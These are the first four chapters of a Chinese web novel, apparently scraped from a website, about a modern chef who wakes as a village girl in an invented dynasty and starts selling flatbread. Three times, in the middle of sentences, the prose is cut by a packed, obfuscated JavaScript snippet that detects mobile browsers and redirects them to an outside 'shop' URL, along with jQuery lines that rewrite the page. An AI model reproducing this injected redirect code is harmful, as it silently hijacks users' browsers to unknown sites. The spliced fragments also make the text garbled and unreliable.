《当厨娘遇上“厌食症”》 1. 第 1 章 “剪一段时光缓缓流淌,流进了月色中微微荡漾,弹一首小荷淡淡的香,美丽的琴音就落在我身旁......” 轻缓的音乐响起,秦见君翻了个身,把脸埋进枕头里,伸手摸到手机,葱白的手指在屏幕上一通乱点,音乐戛然而止。 又过了两分钟,她猛地撑起身子坐了起来,眼睛却还闭着。 “剪一段时光缓缓流淌,流进了月色中微微荡漾......” 铃声再次响起,她眯着眼看了一眼手机,这次不是闹铃,是电话。 “喂?”她又闭上了眼,塌着肩膀跪坐在床上,头发乱糟糟的,衣领也滑向右肩,露出大片白皙肌肤,但声音听着极其清醒。 “秦老师?我是辣甜甜公司这边的负责人小李,之前您来公司就是我接待的,您还有印象吗?” “我记得的,李小姐,请问有什么事吗?”秦见君眼睛依旧闭着,浑身上下除了嘴以外都透露着浓浓的倦意。 “是这样的,之前因为我们公司大楼在装修,所以跟您约定的是下周一直播,但是您也知道,最近台风天,户外作业的工人说这时候高空作业会有安全隐患,工期要延后,我们这边也是怕耽误您后续的安排,想问问您方不方便今天下午来直播呢?” 秦见君总算睁了眼,圆圆的杏眼黑白分明,她努力眨了眨眼,脊背也挺直了。 她把手机凑到眼前一看,上午九点,时间还早,索性今天也是休息,不如下午去一趟。 “好的,那我下午过去。” “好好,您的VX是这个号码吗?我加一下您,您到了我下去接。” “好的。” 挂了电话,秦见君几步走到窗边,拉开窗帘,外头天阴沉沉的,路边的树左摇右摆,路上行人的衣服也被风吹得鼓起。 她没开窗,转身去了洗手间,她一只手握着牙刷在牙齿上机械地刷着,另一只手撑在盥洗台上,看着镜子里的自己,脑子里还在过直播内容。 高中毕业后孤儿院就不再提供资助了,院里的孩子们会随着高三暑假结束,从孤儿院“毕业”。 成绩不好的孩子,会在这个夏天早早踏入社会。 但孤儿院里成绩好的孩子很多,其中运气好的能等到社会人士资助上大学,运气不好的就勤工俭学。 秦见君跟孤儿院里所有的孩子一样,高考一结束就去打了暑假工。她成绩好,拿到了大学录取通知书,但没等到社会人士的资助,老师们都以为她会勤工俭学,结果她却拿着一个暑假的工资说要去学厨艺,不上大学了。 离了孤儿院,没人能管她,老师们象征性地劝了劝,见她不为所动,便都说她康庄大道不走,非要剑走偏锋,以后有她苦头吃的。 直到几年后秦见君的视频红遍网络,才算狠狠打了几位孤儿院老师的脸。 秦见君想开自己的餐厅,必须积累金钱,比起去酒店当后厨,自媒体来钱更快。于是她四年来没日没夜地写脚本、拍视频,慢慢地变得小有名气,这才开始上直播、谈合作,慢慢有了大额收入,今天是她这三个月来唯一的休息日。 出门前她打开手机看了一眼银行卡余额——就快攒够了。 休息日被打扰的不满消退了不少,她拿着伞进了电梯。 外面还是狂风大作,但好在没下雨,她顶着风挪到了地铁口,中途好几次差点被风刮跑。 地铁运行时车厢里有呼啸的风声,秦见君正盯着漆黑的玻璃窗发呆,忽然觉得额头刺痛,似是被什么东西猛烈撞击了。 她伸手摸了一把,没有任何问题,玻璃窗上的倒影也清楚展现了她光滑的额头。 秦见君仔细感受了一下,那痛觉忽然又消失了,还没来得及疑惑,语音就播报了她要下的站台。 出了地铁站,秦见君就把刚才的事忘到脑后了,她凭着记忆找到了辣甜甜公司大楼,大楼高层窗外还挂着吊脚手架。 这楼有三四十层高,那脚手架挂在靠顶楼的位置,被风吹得左摇右晃,看着实在吓人。 秦见君加快了步子想赶紧通过,抬头正看见李小姐在一楼旋转门内,李小姐显然也看见了她,一边向她招手一边走过来。 秦见君看见李小姐后,迅速进入工作状态,脑子里自动浮现了直播相关的东西,以至于旁边的呼喊声传来时,她没有第一时间反应过来。 恐慌的氛围比尖叫声更早包裹住秦见君,她下意识抬头,看见刚刚还挂在楼外侧的脚手架在视野里越来越大,那一瞬间她手脚冰凉不得动弹,瞳孔放大的瞬间她的脑中一片空白...... ...... 嘶......头好痛...... “醒了吗?”耳边传来一个女声。 “好像醒了。”这是一个童声,辨不出男女。 秦见君的眼珠子在眼皮下转了好几圈,挣扎了许久才睁开眼。 入目是几根木房梁,上面搭着草,隐约能看见有几处还透着光。 她缓缓转过头,床边探着一位妇人和一个男童的脑袋,吓了她一跳。 “醒了!”男童叫了一声,身旁的妇人迅速红了眼眶。 秦见君的目光下落,看见妇人和男童都穿着布衣,是在电视剧里看过的那种,她转头看了自己一眼,自己也穿着布衣,粗糙的布磨在身上很刺挠,尤其还不保暖,她手脚冰凉...... 什么意思? 她眨了眨眼,感觉额头刺痛,连忙伸手捂住,却摸到一片滑腻,翻开手掌一看,是一滩绿汪汪的黏糊液体。 “你别摸脑袋,当心把草药抹掉了。”那妇人伸手去拉秦见君的手腕,秦见君愣了一下,但并未挣脱。 眼下这情景看着怎么像穿越了?没人这么无聊先把自己打伤再运到横店去拍戏吧? 秦见君张了张嘴,发现上下嘴唇干到黏在一起了,她强行张开嘴,嘴皮撕破,一股铁锈味窜进鼻腔。 妇人见了,忙转身从矮桌上拿了个粗瓷碗,又掀开了屋子角落的小水桶,舀了些水装进碗里递给秦见君。 一碗冷水将秦见君干涸的口腔和食道都给滋润了,她放下碗哑声问:“现在是哪朝哪代?” 妇人听了,愣了愣,一旁的男童先开了口:“娘,姐姐脑子摔坏了?” 娘?姐姐? 秦见君转头去看那男童,五六岁的模样,看着确实与自己有几分相似。 那男童被秦见君盯得有些不舒服,往妇人身后挪了挪,喃喃道:“娘......” 妇人有些犹疑,但还是回答了她:“大荆开洋七年。” 秦见君微微蹙眉,从未听说过的朝代?这就难办了,要是历史书上的朝代,好歹能知道一点民俗民情、预测一下未来大方向,这下真是摸着石头过河了...... 她躺回去重新闭上眼,身侧妇人和男童还在说话,寒风不知道从哪个缝隙钻进来,缠在她手脚上,冻得她连心都僵了。 明明差一点就攒够钱开店了,怎么就突然穿越了呢?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395785|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叹息无用,她逐渐放松了手脚,老话说得好:既来之则安之。 来都来了,大不了从头开始! 想到这里,她睁开眼坐起身,面对着那妇人,想喊她,又有些喊不出口,嗫嚅了一会儿才小声道:“娘......” 这种称呼父母用的词语她实在太陌生了,无论是“娘”还是“妈妈”,都太陌生了。 或许是老天觉得她无父无母太可怜了,让她来享受家庭温情? 这事秦见君想了两天还没有结论,因为她发现虽然“母亲”杨甜温温柔柔,但“父亲”秦留志好像并不喜欢自己,“家庭温情”这事儿好像并没有降临在她身上...... 正想着,眼前忽然伸过来一双筷子在她的碗沿敲了敲,随即耳边响起秦留志的声音:“脑子还有伤,别吃太油腻,给建业吧。” 建业就是醒来时看见的男童——她的弟弟,大名“秦建业”。 秦见君在心里翻了个白眼,面上却恭敬地收回了要去夹肉的筷子。 这两天她大概把自己所处的状况搞清楚了,现在是大荆开洋七年二月,她二十岁,在村子里算是大龄“剩女”,新年刚刚过去,家里人给她寻了一门亲事,但原主不知为何在出嫁当天反悔,一头撞在家门口的木桩上,昏死了过去。 新娘都以死明志了,男方家也觉得没面子,于是迅速退了婚。 眼下秦留志看她不顺眼,也是因为她不仅没嫁出去拿到彩礼,反而还被退婚,坏了自己的名声,往后想要再嫁的话,彩礼估计要打折扣了。 秦见君不知该作何反应,好不容易有了父母,父亲却是个重男轻女的老迂腐...... 她吃完饭并没有像前两天一样去洗碗,而是又在桌上坐了会儿,等秦留志也放了碗筷才开口。 “我想去县里看看。”秦见君如今所处的是一个叫井沟村的地方,属于湖梁县。 村子里她早就逛过了,总共几十户人家,家家户户都是种田种菜、养鸡养鸭,大家都能满足日常基本生活需求,所以相互之间并没有商品交易,想赚钱的话还是要去县里看看。 “去县里做什么?还嫌不够丢人?”秦留志听说她想去县里,气不打一处来,这几日因为她脑子受伤行动不便,家里的鸡鸭都是杨甜抽空草草投喂的,近日蛋都下得少了。 打蛇打七寸,秦见君知道秦留志想要什么,便道:“我先前脑子不清楚,坏了爹娘给我寻的好亲事,这几天心里难受得都睡不好觉......就想去县里看看有没有赚钱的营生,贴补贴补家用......” 没想到秦留志听了,态度更差了,他哼笑一声:“赚钱?你还能赚钱?你就给我好好在家养鸡养鸭!嫁人之前哪儿都别想去!”说完便转身走了,留下娘仨在桌上大眼瞪小眼。 秦见君挨骂了也不尴尬,她冲杨甜笑了笑道:“娘,碗筷我来洗。” 天寒地冻,寻常人家根本不会费柴火去烧热水洗碗,秦见君蹲在厨房里,手指僵硬通红。 她回想了一下秦留志的话,他只是质疑了自己没有能力赚钱,但并没有说女子不能抛头露面赚钱吧?那就还好! 秦见君想起以前看的文里,女子连出去做生意都被指责不守妇道,如果大荆朝也是那种环境,那对她来说就太艰难了...... 手在冷水里泡得都没知觉了,她用力攥了攥,试图活络一下血液,忽然听到有人叫她。 “谁?”她站起身看了看厨房门,那里空无一人。 2. 第 2 章 “后面!” 秦见君转头去看,厨房窗户外面正扒着个姑娘。 “你脑袋还好吗?”那姑娘蹙着眉,似是有些担心的样子。 “还好......”秦见君走过去,厨房窗外是水沟,那姑娘踩在水沟窄窄的边上,两腿打颤,几乎要站不住,她忙拽着那姑娘的手把姑娘拉了进来。 这姑娘似是与自己熟识,看着没什么心眼的样子,秦见君几个来回就将情况问清了。 姑娘名叫“冯莲”,是自己的同村发小,前些日子自己撞了脑袋的事全村都知道了,她爹娘拘着她不许她来找自己,生怕也坏了名声,这次还是她偷跑出来找自己的。 冯莲年纪小,今年十七,听她的意思,她爹娘是想替她寻摸个好人家。 “秦叔这些年压着不让你嫁,就是想挑个最好的,若是真能挑上,我爹也想给我好好挑。” 秦见君挑了挑眉没说话,这哪里是挑女婿,这是在挑买家,谁出价高就嫁谁罢了,这傻姑娘还真以为自家爹是在为自己着想呢。 “阿莲,你知道要怎么去县里吗?” 冯莲蹲在灶膛旁撑着脑袋问:“你想去县里吗?不是过年才去过的?” “过年会去县里?” “要去买年货,每年都去的呀你忘了?” “那除了过年,还有什么时候去县里?” 冯莲摇了摇头道:“我们未出嫁的小娘只有过年才去的。” 秦见君抓住了重点:“那成了亲的小娘就可以去县里了?” “若是家中有需要,就可以去了。” 秦见君转头望向厨房窗外,在心里梳理信息。 “乡村”“催婚”“养鸡养鸭”“小娘有了自己的事业才能去县里”...... 这不就是妥妥的种田文开局? 她茅塞顿开!按照种田文的惯常逻辑,她的真命天子应该就在村子里,她可以跟自己的“男主”成了亲再去县里做生意! “阿莲,我问你,村子里有没有......”秦见君想了想,继续道:“有没有身强体壮又对我情有独钟的男子啊?” 通常来说种田文的男主都是身强体壮的。 冯莲瞪大了眼,似是被她的大胆用语吓住了,不过她还是认真想了一下,握成拳头的右手在左手掌上敲了一下:“有!” “谁?” “大牛哥。” “带我去找他。” 秦见君跟着冯莲一起从厨房窗户翻了出去,单薄的布鞋踩进冰凉的水沟里,溅起串串水珠,踩在泥巴路上留下湿乎乎的鞋印子。 秦见君的脚已经冻得很麻木了,她得尽快想办法赚钱,不然真要冻死了。 “喏,大牛哥就在那儿。”冯莲指着田里一个精壮的背影道,“大牛哥从小就喜欢你,不过他们家拿不出秦叔要的彩礼......” 嗯......被迂腐老爹阻拦的爱情,太是内个味儿了!秦见君觉得自己八成找对人了。 “大牛哥!”她兴冲冲地跑过去。 冯大牛转过身,刚毅的国字脸黝黑,五官平整硬朗。 秦见君一个急刹,差点扑进田里。 “阿君,你还好吗?”冯大牛看是秦见君,连忙走到田埂上来。 “我挺好的,大夫说每日敷药就能好了。”秦见君扬起一个灿烂的笑容来,差点闪瞎了冯莲的眼。 冯大牛看得一愣一愣的,说话也结巴起来:“那......那就好......” 秦见君从小就知道自己长得“漂亮”,杏眼、翘鼻、鹅蛋脸,嘴巴虽然不是樱桃小嘴,但肉嘟嘟更添娇憨感。 她的漂亮很标准,是不带任何攻击性的,又娇又幼,给人一种弱者的感觉,这张脸也给她的美食视频加分不少,否则也不会遇上流量就直接出圈了。 此时她努力弯起眼睛,嘴巴扬起的弧度刚好能露出八颗牙齿,看着又甜又软。 “大牛哥,我前几日被退了亲,心里正难受呢,看见你才好了些。” 冯大牛被她说得飘飘然,有点晕头转向的:“好......好......” 秦见君眯了眯眼睛,这男人还挺好攻略的...... “大牛哥,我的亲事没了,爹说我要是嫁不出去就把我卖了......” 冯大牛听了,果然一脸担忧道:“你怎么会嫁不出去呢?” “我都被退亲了......”秦见君低下头,说着又抬眼看着冯大牛,“大牛哥愿意娶我吗?” “当然了!”冯大牛急得声音都大了。 “那......”秦见君又道,“我们成亲后,我能去县里做生意吗?” 冯大牛原先还晕乎乎的,一听说她想去县里做生意,立刻就清醒了:“不行。” “嗯?” “我娘说,女子要在家相夫教子......” 秦见君眨了眨眼,追问道:“不听你娘的,你自己是怎么想的?” 没想到冯大牛退后了一步,像看怪物似的看着秦见君,语气也有些生硬了:“怎么能不听娘的话呢?” 秦见君一噎......不对......不能嫁妈宝男......这必不能是自己的真命天子...... “天色不早了,我要回去了。”秦见君打哈哈要走,被冯大牛叫住:“阿君,你别怕,我晚上回去问问我娘,能不能上你家提亲去。” 秦见君对着他抿嘴笑笑:“不用了大牛哥,刚刚的话是跟你说笑呢,来我家提亲的可不少,爹正在挑呢。” 冯大牛听了这话,肩膀肉眼可见地塌了下去,但秦见君也没了耐心去安慰,拉着冯莲转头走了。 村子里的人都只吃早饭和晚饭,起先秦见君下午都能饿得头昏,这些日子也算是习惯了不少,不过因为实在太饿,她吃晚饭都不怎么出声了,只闷头吃。 虽然自己厨艺很好,但她看家里的食材实在少得可怜,不忍心折腾,先果腹才最重要,好吃什么的以后再说吧...... 吃着吃着,秦留志突然开口了。 秦见君实在是不喜欢听到这个便宜爹的声音,每天不是抱怨这个就是抱怨那个,脾气上来了就骂杨甜一顿,有时候秦建业倒霉,也会被他拎着揍一顿,嘴里骂得特别难听。 这会儿秦留志说话,本来饿得前胸贴后背的秦见君霎时没了胃口,只好放下碗。 “给你又寻摸了个人家,下米村屠户的儿子,人家不嫌你名声不好,下月初你就嫁过去。” 杨甜听了,觑着秦留志的脸色,小心地问:“哪个屠户?” 秦留志一把将筷子拍在桌上,不耐烦道:“下米村还有哪个屠户?” 杨甜的脸色白了白,小声劝:“他们家儿子不是说脑袋有......” “有什么?你女儿还比人家好是怎么的?这么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395786|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪了被退亲!你知道外头怎么传的?”秦留志打断了杨甜的话。 秦见君也不傻,这屠户的儿子八成脑子有问题,屠户赚钱,估计是彩礼谈得高,秦留志才愿意松口。 夜里她躺在漏风的小屋子里,单薄的破被单裹在身上根本没热气,忍了一会儿还是没睡着,她索性坐起身,撑着脑袋开始想事情。 嫁人这条路是行不通了,不是嫁给妈宝男,就是嫁给脑子有问题的,而且秦留志又不许她去县里做生意...... 眼见着离下月初不远了,时间紧迫。 秦见君第二天飞速喂了鸡鸭就偷溜了出去,昨天回家时经过了冯莲家,村子里房屋排列简单,她很快就找到了冯莲家。 冯莲正在家里喂鸡,看到秦见君来了,高兴地三步并做两步跑了过去。 “阿君!你怎么来了?” 秦见君往她身后看了看,家里似乎没人。 “爹娘去田里了,忙着下秧苗呢。” 原来是忙着下秧苗,难怪秦留志和杨甜也一整天见不着人。 “我得去一趟县里,你认得路吗?” 冯莲蹙眉:“路倒是好认,就是太危险了,村子里的人上县里去都结伴,听说野路上有猛兽,专抓落单的人!” “村里有谁是经常要去县里的吗?”秦见君想着搭个伙。 “大牛哥啊!天气冷,每三日大牛哥就要去县里卖一次草,能赚不少呢!” 秦见君的手不自觉攥了攥,怎么又是冯大牛?她正犹豫要不要去麻烦冯大牛,就见冯莲小心地凑过来,轻声问:“你真要去县里?” “嗯。”秦见君点点头。 “能带上我吗?”冯莲的眼睛里闪着期待,她长得很喜庆,圆圆的脸,眼睛微微上吊,鼻子有点宽,但并不突兀,嘴唇厚厚的,跟秦见君说话的时候总是微张着。 “你不怕你爹娘发现?” “他们最近忙着呢,我想去县里买头花,过年的时候钱没攒够就没买,现在够了!” 有了冯大牛,再加上自己和冯莲,路上应该不会出什么事,秦见君行动力强,打定了主意就去田里找冯大牛。 冯大牛起先有些不敢带她俩,但在秦见君温柔攻势下逐渐丢盔弃甲,最后三人约好第二日清晨出发。 没有闹钟,秦见君怕自己误了时辰,一夜都没睡好,连着做了好几个噩梦,醒来时额角还冒着冷汗。 她迅速起床把鸡鸭都喂了,摸上原主藏在枕头底下的五文钱出了门。 冯大牛花钱借了村子另一户人家的骡车,秦见君远远就看见一头瘦巴巴的骡子拉着一大车干草过来了。 走近了才发现干草中间空着,秦见君和冯莲往里头一钻,除了后面,别处都看不出这里还坐着俩人。 有了干草围着,秦见君的身子头一次感觉到了温暖,恍惚间想起自己第一次在自己租的小屋子里过冬时的情景。 南方没有暖气,寒意直逼骨头缝,她“斥巨资”在楼下商店里买了个小太阳。 回家插上电后,她忽然很庆幸自己没钱,只能租得起这么小的屋子,小太阳一开,半个屋子都热了。 放松地往干草上一靠,板车摇摇晃晃,秦见君有了困意,不过还没等她睡着,就被冯莲叫起来了。 “快看!” 秦见君探头去看,路旁半人高的野草中似乎有东西在动,天还没亮,黑乎乎的看不清样子。 3. 第 3 章 绵州茶马街尾的宅子荒了许久,听说先前住着知州大人,后来这知州因贪赃枉法入了狱,上面没派新的知州下来,于是宅子就空置了。 此后五年间绵州都由隔壁过岭州知州代管,好在两州同属江汀路,过岭州知州府距绵州知州府只隔了两条街,倒也算行事方便。 “你听说了没?新知州到任了,茶马街那宅子牌匾都挂上了。” “新知州叫什么啊?”正值傍晚,一群人聚在脚店喝酒,不免谈起州里的新鲜事。 “牌匾上写着‘裴府’!” “哟?莫不是前些日子从虔渊州贬出来的那位?” “快说说快说说!虔渊州发生何事了?”一听有人知道内情,大家都精神了起来。 那人买了个关子,顶着众人好奇的目光悠悠喝了口酒才道:“前段日子我去虔渊州探亲,大街小巷都在传,说是一个三品官老爷惹怒了官家,直接从三品贬到了从七品,被官家逐出了虔渊州!” “这是犯了什么事啊?也是贪了?”有人好奇。 那人摇了摇头道:“说是在宫里议事的时候,忽然被官家赶出去的,殿门口守着的公公都不知,我们上哪儿知道去!” 其余人听了都起哄嘘他,合着也是道听途说、一知半解的。 “不过官家向来脾气和善,这裴知州是怎么惹怒官家的?” “不知......不过这官场上的事也轮不到我们说三道四,往后遇着裴知州,走远些便是了,当心惹祸!” 众人纷纷附和点头,各自散去时有人经过茶马街,心中还暗暗祈祷别碰上新知州,待走近了才看见裴府大门紧闭,门口连守门的小厮都没有。 紧闭的大门里是宽阔的院落,裴小之正围着后院的空池塘咋舌。 “郎君,这池塘可真大啊!”他生得圆眼圆脸,脸上表情生动,看着很喜庆,“我让人引活水进来,再捞几条鱼放里面怎么样?” 塘边轮椅上坐着的男人低低地开口了:“不必。” 裴小之转头去看他,裴眠正裹着大氅冷眼看着干涸的池塘,他身后推着轮椅的袁原朝裴小之使了个眼色,他只好闭上了嘴。 袁原将裴眠送到了书房。 “派人将府中收拾干净即可,其余的不必费心。” “是。” 袁原刚出门就被裴小之拉到了一旁。 “出门前老爷和夫人可是千叮咛万嘱咐的,一定要把知州府打理好,不然郎君住着不舒服......”裴小之小声道。 袁原垂眼看着矮他半个头的裴小之,冷声道:“郎君说了不必。” 裴小之蹙起眉,袁原长了一张薄情脸,眉眼细长,鼻高唇薄,平日里也是不苟言笑,说话做事都极其死板。 裴小之第一次见他是在虔渊州裴府,他正给裴眠守夜,忽然看见袁原从墙上翻了下来,二话不说就要进屋,他拦都拦不住,后来才知晓这是裴眠新找的暗卫。 想到这里,裴小之不免叹了口气,从前裴眠也是文武双全的翩翩郎君,后来不知怎的就吃不下东西了,慢慢从提不起重物到站不起来,如今还要找个暗卫来保护自己...... 袁原见裴小之没什么要说的了,便抬腿走了,连道别都没有。 裴小之冲袁原的背影做了个鬼脸,还没来得及在心里骂他冷脸阎王,就被裴眠叫进了书房。 “郎君,你叫我?” 裴眠伸手点了点桌面:“过来。” 裴小之蹭过去,跪坐在书案边,等着裴眠说话。 “出门前,爹娘可有嘱咐你什么?” 裴小之听到这个可来劲了:“老爷和夫人说,若是到了绵州郎君还吃不下东西,就着手给你招个厨子,大荆这么大,总有能懂郎君口味的厨子!” 裴眠垂下眸子,不知在想什么,好一会儿才说话,语气中带了些无奈:“就依他们的。” ...... 冬日里天亮得晚,四周黑黢黢的,秦见君咽了咽口水,见草中那物正向路边蹿过来,眼见着要出草了,秦见君怕被看见,忙扯了身后的干草挡在身前。 草中蹿出来一个黑影,秦见君定睛一看,居然是个人! “那是!”冯莲还没说完便被秦见君捂住了嘴,她伸出一根手指在嘴上比划了一下:“小声点。” 冯莲点点头,秦见君这才撤了手。 “那是你夫君!” “什么?”秦见君一头问号。 “不是不是......”冯莲摇了摇头道,“没嫁成!” 这下秦见君知道了,这个还没野草高的侏儒男人是原主宁死不嫁的那个“前未婚夫”! 冯莲还在念叨:“你忘了吗?前几日他来村子里找你,你见了他说怕,不想嫁了,还是我把他打发走的呢!” 秦见君眨了眨眼,看来原主是不想嫁给侏儒啊...... “他这是......去哪儿?” 冯莲撇了撇嘴:“去瓦舍里寻乐子吧......他......总去那儿......” 瓦舍?勾栏瓦舍? 秦见君忽然有些庆幸原主宁死不屈了,虽然脑袋撞破了,但好歹没给自己留下个嫁给“流连勾栏的侏儒男”的天崩开局...... 两人缩回干草中,冯莲还在小声碎碎念这男人来村子里想对秦见君动手动脚的事。 秦见君却在心里盘算着,看来爹娘找的人确实不靠谱,她还是要想办法赚钱自立才行。 到了县里天才微微亮,街边支起了摊子,卖茶水、包子还有饼子。 卖头花的铺子还没开,不过那地方离冯大牛卖干草的摊子不远,于是秦见君让冯莲跟着冯大牛,自己打算到处转转。 县里街上十分热闹,跟电视剧里演的差不多,街边不仅有商铺,还有各种摊子。 她在街上转了一圈,发现这里人早上吃的比较扎实,多是大饼,其中又有油炸和锅烙等不同做法。 她花一文钱买了一张看着不错的饼,一口咬下去,饼香瞬间盈满了鼻尖,但吃着只有一点淡淡的咸味,口感也比较单一。 秦见君啃完了这张饼,心里有了想法,她先回去问冯大牛借了钱,又去了一趟药铺,中午才从药铺出来,手里拎着一小包粉。 她一家家饼摊问过去,都说不缺人手,唯有一个夫妻摊子有些犹豫。 老板和老板娘看面相就十分和善,秦见君看两人犹豫,便道:“我现在做一张饼出来你们尝尝,要是好吃就留下我,不好吃就算了,我把原料钱赔给你们。” “不用赔钱的,咱们摊子上最多的就是面粉,你做就是了。”老板娘发话了,一旁的老板也点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395787|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦见君也不多话,先烧了一壶热水,然后盛了一些面粉在盆里,一半浇上开水,一半浇上冷水,撸起袖子将面粉和水揉成了面团。 她长得白净,揉面手法干净利落,不一会儿饼摊前便围了一圈人看。 她问老板娘要了一个锅盖,盖在盆上,转身取了小碗加入面粉、盐巴和油,又打开了自己带来的一小包粉倒了一些进去,旁边便有人忍不住问她:“这粉末是什么?” 秦见君用筷子搅和碗里的酥油,笑着回道:“十三香。” “十三香?是什么?” “是药材磨成粉制成的,味道可好了。” 这话要是别人说,大家可能要对十三香敬而远之了,毕竟是药材制成的,吃药可不是什么好事! 但秦见君眉眼弯弯的,手脚又干净利索,大家都乐意再等等看。 秦见君做好了酥油又切了一些小葱备着,围着的人见她脸上带笑,便七嘴八舌地开始搭话,她一一都应了。 “这是做什么饼?” “千层饼。” “没听过......” “等做好了,买几块回去尝尝。”秦见君道,说话间面团已经好了。 她把面团放在案板上,细嫩的手按上去揉捏起来,莹白的手指尖泛着淡淡的粉色,覆在面团上竟比面团还白。 秦见君将面团切成两份,都擀成了薄薄的面皮,涂上酥油,再洒上葱花,用刀从饼的中间向四周划开,再捏起饼边向中间折叠,叠好后又擀成圆饼,撒上芝麻,把剩下的酥油都抹了上去。 锅中放油,油热后将面饼放下去,随着滋啦响声,面饼的香味渐渐散发出来,原先围着的众人都忍不住咽了咽口水。 秦见君专心地盯着圆饼,待两面都呈金黄色,便盛了出来。 围上来的百姓越来越多,她用刀将饼划开,饼身干脆,划破后能看见一层层的纹路。 “闻着真香啊......”百姓们有些跃跃欲试。 秦见君有些惋惜道:“今天太匆忙了,没来得及做酱料,这饼蘸着料最好吃了。” “无妨,先来一块尝尝,怎么卖?”有人已经按捺不住了。 秦见君切了一些饼下来,估摸着和自己早上吃的那张饼差不多大,对那人道:“这些是两文钱,一文的饼就再对半切。” 那人爽快地拿了两文出来,端起被油纸包着的饼就往嘴里送,被烫得合不拢嘴,哈了两口气后总算合上了牙齿。 融着酥油的面饼层层堆叠,外皮酥脆,内里韧劲十足,一口下去,葱香、芝麻香和油香扑鼻而来,脆皮被咬碎,里面的饼瓤有咸香味道,不似盐巴单调,越嚼越有味儿。 “好吃!好吃!再来一份!”那人叫道。 于是周边观望的百姓也纷纷掏钱,一张饼没一会儿就卖完了,吃过的百姓还不肯走,纷纷问以后是不是都能在这儿买到千层饼。 秦见君转头去看摊主夫妻,两人还有些发懵,上前切了两小块饼尝了尝,转头望向秦见君时,眼里都带着赞赏和惊喜。 赚钱的活计有了,秦见君不怕还不上冯大牛的钱,回去找他们时步子也十分轻快。 转过街角看见冯大牛的干草已经卖完了,冯莲手上也拿着新头花在玩,她正要出声,身后忽然伸出来一只手将她的嘴捂住。 “唔!” 4. 第 4 章 绵州离虔渊州不算远,比起更偏远的州府来说算很繁华了,不过这些繁华大多集中在商铺云集的明华街上,知州府所在的茶马街向来是冷清的。 可自前两日知州府门口挂了告示,茶马街就热闹起来了。 “这是第几个厨子了?”有人垫着脚看向府门口。 “珍馐楼的房大厨都被请出来了?我们还是撤吧?” “进去试试!万一新知州就喜欢家常手艺呢?” “说的也是......” 裴小之领着人进了厨房,对面前的几个厨子道:“我们郎君不忌口,各位只管使出看家本领。” 几人有些局促地搓了搓手,若是有规定食材与做法,倒还好一较高低,这样宽泛的要求实在是让人难以下手...... 裴小之吩咐完就转进了后院,裴眠正在轮椅上打盹,身旁放着碳火,上架小炉,温着茶水。 “郎君。” 裴眠微微睁眼表示在听。 “今日来的那房大厨,他做的软酪挺好吃的呀,你不喜欢吗?”裴小之蹲在轮椅旁道,“那可是绵州明华街上最大的酒楼,珍馐楼的主厨!他那道水晶软酪就是在虔渊州也无人能复刻啊......” 裴眠闭上眼,似是有些疲惫,身上的毯子盖到了下巴上,雪白的毛边簇在脸颊旁也掩不住瘦削。 “腻。”他一个字总结了被裴小之夸上天的软酪。 裴小之离开前嘴里还念叨:“这都吃不下......那得是多好的手艺才能留在府里啊......” ...... “唔!”秦见君奋力挣扎,但身后那人体格健壮,抓她这个饿得营养不良的小娘像抓小鸡仔似的,三两下就把她拖进了巷子。 还没等秦见君想出脱身之法,那人忽然松开了她。 秦见君挥起拳头转身就打,被那人躲了过去。 “别动手!”身后响起一个女子的声音。 秦见君收了手去看,巷子深处停着一顶轿子,这还是她穿过来第一次看见轿子,比想象中要小很多,里面的空间只够人端正坐着。 车帘掀开,一个漂亮的小娘正坐在里头,刚刚出声的也是她。 那小娘衣着跟自己的不一样,明显高档一些,秦见君好奇地看着她。 “小娘,人带到了。”壮汉站在秦见君后面道。 “你先去巷子口守着,别吓着她。”那小娘看着年纪不大,被一旁的女使扶下了马车,三两步便走到秦见君面前,对她道,“你的饼做得甚好!我尝了,比我以往吃过的饼都好吃!” 秦见君看对方是个女子,且脸上带着天真憨态,想来不是什么穷凶极恶的人,心里松了口气。 “小娘要是喜欢,以后日日来摊子上买。” 那小娘笑容更灿烂了:“那最好了!你以后都会在那摊子上做饼吗?” 秦见君点点头,从今天百姓们的反馈来看,她这千层饼还能卖得动,等大家腻歪了,再换鸡蛋灌饼、肉夹馍......反正她脑子里多的是食谱。 那小娘从腰间取下一块木牌递给秦见君:“往后只要是你做饼,都送一份来绿苗街西边第三户。” 秦见君接过牌子看了一眼,这一看可不得了,大荆的文字和繁体字很像,除了少数一些字她看不懂以外,其余大多数都是能辨认出来的,木牌上赫然写着“知县”二字! 她震惊地望向面前的小娘,心里五味杂陈——村子里对女子行商都不支持,县里却能让女子做知县?果然还是大地方好啊! 